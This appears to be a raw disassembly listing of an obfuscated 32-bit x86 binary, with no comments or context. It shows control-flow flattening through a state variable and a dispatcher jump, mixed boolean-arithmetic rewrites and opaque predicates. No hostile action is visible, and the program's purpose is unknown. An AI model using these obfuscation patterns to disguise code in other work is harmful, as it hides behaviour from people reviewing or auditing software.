xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x49f71]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov dh, cl
xor dh, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or dh, ch
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, cl
xor ah, 0xff
mov bh, dl
and bh, ah
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, dh
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and dh, ah
mov bl, ch
and bl, 0
and bh, ah
or dl, dh
mov dh, byte [ebp - 0x49f70]
or bl, bh
xor dl, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, dl
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, 1
xor dl, 0
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 1
or dl, ch
or cl, 1
xor dl, 0xff
and dl, cl
mov ch, 1
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 0
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, bh
or ch, bl
or cl, dh
xor ch, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and cl, dl
or ch, cl
mov dl, ah
xor dl, 0xff
mov cl, ch
and cl, dl
xor ch, 0xff
mov dl, ah
and dl, ch
or cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe3c1afba
mov ecx, 0x39628003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xba32fb66
jmp 0x42c62f
mov eax, dword [ebp - 0x49a4c]
mov dword [ebp - 0x49948], eax
mov eax, dword [ebp - 0x499fc]
add eax, 4
add eax, 2
mov dword [ebp - 0x49944], eax
mov dword [ebp - 0x49a70], 0x3304913b
jmp 0x42c62f
mov ecx, dword [ebp - 0x49940]
mov esi, 0xffffffff
xor esi, 0x40000000
and esi, 0x65d78ff8
mov edx, 0xffffffff
xor edx, 0x65d78ff8
mov edi, edx
and edi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x65d78ff8
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
xor esi, 0xffffffff
xor esi, 0x50e61865
and esi, 0x50e61865
mov edx, 0xffffffff
xor edx, 0x50e61865
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x50e61865
or edx, eax
mov dword [ebp - 0x4a030], edx
mov ebx, 0xffffffff
xor ebx, 0x40000000
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xd101672e
or ebx, edx
or eax, 0xd101672e
xor ebx, 0xffffffff
and ebx, eax
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x50e61865
mov edi, 0xffffffff
xor edi, 0x47c6b1a
or edx, eax
mov eax, dword [ebp - 0x4a030]
or edi, 0x47c6b1a
xor edx, 0xffffffff
and edx, edi
mov dword [ebp - 0x4a02c], edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x35b6bb7f
or edx, eax
mov eax, dword [ebp - 0x4a02c]
or edi, 0x35b6bb7f
xor edx, 0xffffffff
and edx, edi
mov edi, esi
and edi, ebx
xor esi, ebx
or edi, esi
mov esi, eax
and esi, edx
xor eax, edx
or esi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xd9728e88
mov ebx, 0xffffffff
xor ebx, 0xd9728e88
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xd9728e88
and esi, ebx
or eax, edi
or edx, esi
xor eax, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
mov esi, ecx
and esi, edi
or edx, esi
xor edx, 0xffffffff
mov ebx, eax
xor ebx, edx
and ebx, eax
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov esi, ebx
xor esi, 0xffffffff
mov dword [ebp - 0x4a020], esi
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x30f80463
and esi, 0x30f80463
and ebx, edx
mov dword [ebp - 0x4a028], ebx
mov ebx, edi
and ebx, 0x30f80463
and eax, edx
mov dword [ebp - 0x4a024], eax
mov eax, dword [ebp - 0x4a028]
or esi, eax
mov eax, dword [ebp - 0x4a024]
or ebx, eax
mov eax, dword [ebp - 0x4a020]
xor esi, ebx
or eax, edi
xor eax, 0xffffffff
or edx, 0x30f80463
and eax, edx
or esi, eax
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x680b65ed
mov edx, 0xffffffff
xor edx, 0x680b65ed
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x680b65ed
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x57a63d5f
and ecx, 0x3558822e
mov esi, 0xffffffff
xor esi, 0x3558822e
mov edi, esi
and edi, 0x57a63d5f
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x3558822e
and esi, 0xffffffff
or ecx, edi
or edx, esi
xor ecx, edx
mov dword [ebp - 0x4a014], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xa3b0d284
mov edx, ecx
and edx, 0xa3b0d284
and ebx, esi
mov dword [ebp - 0x4a01c], ebx
mov ebx, edi
and ebx, 0xa3b0d284
and eax, esi
mov dword [ebp - 0x4a018], eax
mov eax, dword [ebp - 0x4a01c]
or edx, eax
mov eax, dword [ebp - 0x4a018]
or ebx, eax
mov eax, dword [ebp - 0x4a014]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0xa3b0d284
and ecx, esi
or edx, ecx
mov ecx, eax
and ecx, 0x57a63d5f
xor eax, 0x57a63d5f
or ecx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and edx, esi
or eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x94935f72
mov ecx, 0xf8bbf53
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dl, byte [ebp - 0x49932]
mov eax, 0x94935f72
mov ecx, 0x208abba8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov edx, 0x897c6ba0
add edx, 0
sub edx, 0x47cd4b78
sub edx, 0x897c6ba0
xor esi, esi
sub esi, edx
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, 0xd7894c57
add edx, esi
add edx, 0x39578bf6
sub edx, 1
sub edx, 0x39578bf6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xd7894c57
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x3623e330
add edx, esi
sub edx, 0x5427ecba
add edx, 0x47cd4b78
add edx, 0x5427ecba
xor esi, esi
sub esi, 0x3623e330
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x4a14f], al
cmp ecx, 0xa
setl cl
mov byte [ebp - 0x4a147], cl
mov bh, al
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ch, 1
xor ch, 1
mov cl, dl
xor cl, ch
and cl, dl
mov ch, 1
xor ch, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or ch, ah
or dl, 1
xor ch, 0xff
and ch, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and bh, dh
mov byte [ebp - 0x4a151], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x4a150], al
mov al, byte [ebp - 0x4a151]
or dl, al
mov al, byte [ebp - 0x4a150]
or bh, al
mov al, byte [ebp - 0x4a147]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x4a138], cl
mov dl, al
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov dh, 1
xor dh, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dh
xor al, 0xff
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bl, al
and bl, 0xff
and dh, cl
mov ah, dl
and ah, 0xff
and ch, cl
or bl, dh
or ah, ch
xor bl, ah
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov dh, bh
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov cl, ah
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, cl
mov cl, byte [ebp - 0x4a14f]
or dl, ah
xor al, dl
mov dl, 1
xor dl, 1
mov ah, al
xor ah, dl
and ah, al
mov al, 1
xor al, 1
xor bh, 0xff
mov dl, 1
xor dl, 1
or al, bh
or dl, 1
xor al, 0xff
and al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x4a14c], ch
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and ah, dh
mov byte [ebp - 0x4a14e], ah
mov ah, bh
and ah, 0xff
and al, dh
mov byte [ebp - 0x4a14d], al
mov al, byte [ebp - 0x4a14e]
or ch, al
mov al, byte [ebp - 0x4a14d]
or ah, al
mov al, byte [ebp - 0x4a14c]
xor ch, ah
mov ah, byte [ebp - 0x4a138]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, dl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and dl, ch
or al, dl
mov byte [ebp - 0x4a12f], al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov bh, ah
and bh, al
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, al
mov al, byte [ebp - 0x4a12f]
or dl, bh
or ch, dh
xor dl, ch
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov ch, cl
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or al, ch
or dl, ah
xor al, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
mov al, ch
and al, 0
mov byte [ebp - 0x4a14b], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x4a14a], al
mov al, byte [ebp - 0x4a14b]
and ch, 1
or cl, al
mov al, byte [ebp - 0x4a14a]
or al, ch
xor cl, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x4a145], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a146], al
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
mov al, ah
and al, 0
mov byte [ebp - 0x4a149], al
mov al, byte [ebp - 0x4a146]
and al, 0xff
mov byte [ebp - 0x4a148], al
mov al, byte [ebp - 0x4a149]
and cl, ah
or ch, al
mov al, byte [ebp - 0x4a148]
or al, cl
mov cl, byte [ebp - 0x4a147]
xor ch, al
mov al, byte [ebp - 0x4a146]
or dl, al
mov al, byte [ebp - 0x4a145]
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
mov dl, byte [ebp - 0x4a12f]
or ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x4a142], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
mov byte [ebp - 0x4a140], dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x4a141], dl
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and al, ch
mov byte [ebp - 0x4a144], al
mov al, byte [ebp - 0x4a141]
and al, 0xff
mov byte [ebp - 0x4a143], al
mov al, byte [ebp - 0x4a144]
and cl, ch
or dl, al
mov al, byte [ebp - 0x4a143]
or al, cl
mov cl, byte [ebp - 0x4a142]
xor dl, al
mov al, byte [ebp - 0x4a141]
or ah, al
mov al, byte [ebp - 0x4a140]
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x4a13f], al
mov ah, bh
xor ah, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
and bh, al
mov dl, dh
xor dl, 0xff
and dl, 0
and dh, al
mov al, byte [ebp - 0x4a13f]
or ch, bh
or dl, dh
xor ch, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x4a13c], dl
mov dl, cl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov bh, dl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 0
or bh, dh
or al, 0
xor bh, 0xff
and bh, al
mov dh, ah
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov byte [ebp - 0x4a13e], al
mov al, ch
xor al, 0xff
mov cl, 1
xor cl, 1
mov dh, 1
xor dh, 1
or al, cl
mov cl, byte [ebp - 0x4a13f]
or dh, 1
xor al, 0xff
and al, dh
mov byte [ebp - 0x4a13d], al
xor cl, 0xff
mov al, ah
xor al, 0xff
mov dh, 1
xor dh, 0
or cl, al
mov al, byte [ebp - 0x4a13e]
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, bh
and dh, al
xor bh, al
mov al, byte [ebp - 0x4a13d]
or dh, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, dh
xor cl, 0xff
mov al, bh
and al, cl
mov cl, byte [ebp - 0x4a13c]
xor bh, 0xff
and dh, bh
or al, dh
mov bh, dl
and bh, ch
xor dl, ch
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bh, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or dl, bh
or ch, dh
xor dl, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov dh, ch
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
mov dh, dl
and dh, bh
or cl, dh
xor cl, 0xff
mov bh, 1
xor bh, 0
mov dh, 1
xor dh, 1
or cl, bh
or dh, 1
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x4a139], cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, ah
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
and ah, dh
mov byte [ebp - 0x4a13b], ah
mov ah, bh
and ah, 0xff
and al, dh
mov byte [ebp - 0x4a13a], al
mov al, byte [ebp - 0x4a13b]
or ch, al
mov al, byte [ebp - 0x4a13a]
or ah, al
mov al, byte [ebp - 0x4a139]
xor ch, ah
mov ah, byte [ebp - 0x4a138]
or dl, bh
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0x4a130], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
mov byte [ebp - 0x4a135], cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, bl
and al, ch
or dl, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov byte [ebp - 0x4a133], dh
mov ch, 1
xor ch, 0
mov al, cl
xor al, ch
and al, cl
mov ch, dh
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, dl
xor ch, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 0
or ch, bh
or ah, 0
xor ch, 0xff
and ch, ah
xor bl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or bl, dh
or ah, 1
xor bl, 0xff
and bl, ah
mov dh, al
xor dh, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x4a134], ah
mov bh, 1
xor bh, 0
mov ah, dh
and ah, 0
and al, bh
mov byte [ebp - 0x4a137], al
mov al, byte [ebp - 0x4a134]
and al, 0
mov byte [ebp - 0x4a136], al
mov al, byte [ebp - 0x4a137]
and cl, bh
or ah, al
mov al, byte [ebp - 0x4a136]
or al, cl
mov cl, byte [ebp - 0x4a135]
xor ah, al
mov al, byte [ebp - 0x4a134]
or dh, al
mov al, byte [ebp - 0x4a133]
xor dh, 0xff
or bh, 0
and dh, bh
or ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov bl, ah
xor bl, 0xff
mov ch, dh
and ch, bl
xor dh, 0xff
and ah, dh
or ch, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov ah, 1
xor ah, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ah
and dl, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x4a132], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x4a131], al
mov al, byte [ebp - 0x4a132]
or dl, al
mov al, byte [ebp - 0x4a131]
or bh, al
mov al, byte [ebp - 0x4a130]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, ch
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and ch, dl
mov bl, dh
and bl, 0
and bh, dl
or ah, ch
mov ch, byte [ebp - 0x4a12f]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
mov bl, ah
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov cl, 1
xor cl, 1
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
xor dh, 0xff
mov dl, ah
xor dl, dh
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, 1
xor cl, 1
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 0
or cl, dh
or dl, 0
xor cl, 0xff
and cl, dl
mov dh, 1
xor dh, 1
mov dl, ch
and dl, dh
xor ch, 0xff
and ch, 1
or dl, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, ah
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbbbd827
mov ecx, 0x279b628a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xd2708161
jmp 0x42c62f
mov esi, dword [ebp - 0x49a54]
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0x29d7038a
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xd0ef1d5e
or ecx, edx
or eax, 0xd0ef1d5e
xor ecx, 0xffffffff
and ecx, eax
mov edi, 0xffffffff
xor edi, 0x29d7038a
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x29d7038a
or edi, eax
xor esi, 0xffffffff
mov edx, edi
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x3cdafc5e
or esi, edx
or eax, 0x3cdafc5e
xor esi, 0xffffffff
and esi, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or ebx, eax
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x29d7038a
mov eax, 0xffffffff
xor eax, 0x690a2f74
or ebx, edx
or eax, 0x690a2f74
xor ebx, 0xffffffff
and ebx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x649a962b
or eax, edi
or edx, 0x649a962b
xor eax, 0xffffffff
and eax, edx
mov edx, ecx
and edx, esi
xor ecx, esi
or edx, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov dword [ebp - 0x4a1f4], ecx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xde4a95a9
and ecx, 0xde4a95a9
and ebx, esi
mov dword [ebp - 0x4a1fc], ebx
mov ebx, edi
and ebx, 0xde4a95a9
and eax, esi
mov dword [ebp - 0x4a1f8], eax
mov eax, dword [ebp - 0x4a1fc]
or ecx, eax
mov eax, dword [ebp - 0x4a1f8]
or ebx, eax
mov eax, dword [ebp - 0x4a1f4]
xor ecx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0xde4a95a9
and eax, esi
or ecx, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0xd7e73b13
mov edi, 0xffffffff
xor edi, 0xd7e73b13
and edx, edi
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd7e73b13
and ecx, edi
or esi, edx
or eax, ecx
xor esi, eax
mov ecx, 0xffffffff
xor ecx, 0x40000000
and ecx, 0xefd17960
mov edx, 0xffffffff
xor edx, 0xefd17960
mov edi, edx
and edi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xefd17960
and edx, 0xffffffff
or ecx, edi
or eax, edx
xor ecx, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x430196dc
or ebx, ecx
or eax, 0x430196dc
xor ebx, 0xffffffff
and ebx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x4471c8a
mov edx, 0xffffffff
xor edx, 0x4471c8a
mov edi, edx
and edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x4471c8a
and edx, 0xffffffff
or eax, edi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0x40000000
and eax, 0x40000000
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0x4a1e8], edx
mov edi, eax
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x8beae8e3
and edx, 0x8beae8e3
and ebx, ecx
mov dword [ebp - 0x4a1f0], ebx
mov ebx, edi
and ebx, 0x8beae8e3
and eax, ecx
mov dword [ebp - 0x4a1ec], eax
mov eax, dword [ebp - 0x4a1f0]
